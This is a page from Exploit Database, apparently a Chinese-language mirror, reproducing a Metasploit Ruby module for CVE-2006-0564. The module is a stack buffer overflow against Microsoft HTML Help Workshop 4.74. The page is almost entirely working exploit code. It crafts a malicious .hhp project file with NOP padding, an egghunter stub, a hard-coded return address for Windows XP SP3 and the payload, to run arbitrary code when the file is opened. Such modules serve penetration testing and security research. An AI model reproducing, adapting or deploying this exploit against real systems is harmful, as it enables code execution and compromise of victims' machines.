Microsoft HTML Help Workshop 4.74 – ‘.hhp’ compiled Buffer Overflow (Metasploit) (4)

• Exploit Database
• 5 阅读

• 作者： Metasploit
  日期： 2010-09-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16683/

• ##
  # $Id: hhw_hhp_compiledfile_bof.rb 10477 2010-09-25 11:59:02Z mc $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::Egghunter
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in HTML Help Workshop 4.74
  				By creating a specially crafted hhp file, an an attacker may be able
  				to execute arbitrary code.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' => [ 'bratax', 'jduck' ],
  			'Version'=> '$Revision: 10477 $',
  			'References' =>
  				[
  					[ 'CVE', '2006-0564'],
  					[ 'OSVDB', '22941'],
  					[ 'URL', 'http://www.exploit-db.com/exploits/1488' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/1490' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'DisablePayloadHandler' => 'true',
  				},
  			'Payload'=>
  				{
  					'Space'=> 1024,
  					'BadChars' => "\x00\x0a\x0d\x1a\x2f\x5c",
  					'StackAdjustment' => -4800,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows XP English SP3', { 'Offset' => 242, 'Ret' => 0x00401F93 } ], # CALL EDI hhw.exe v4.74.8702.0
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Feb 06 2006',
  			'DefaultTarget'=> 0))
  
  			register_options(
  				[
  					OptString.new('FILENAME', [ false, 'The file name.', 'msf.hhp']),
  				], self.class)
  
  	end
  
  	def exploit
  
  		# use the egghunter!
  		eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
  
  		off = target['Offset']
  		idxf = ""
  		idxf << make_nops(off - eh_stub.length)
  		idxf << eh_stub
  		idxf << [target.ret].pack('V')
  
  		sploit = "[OPTIONS]\r\n"
  		sploit << "Compiled file="
  		sploit << idxf
  		sploit << "\r\n"
  		sploit << "\r\n"
  		sploit << "[FILES]\r\n"
  		sploit << "\r\n"
  		sploit << eh_egg
  
  		hhp = sploit
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  
  		file_create(hhp)
  	end
  
  end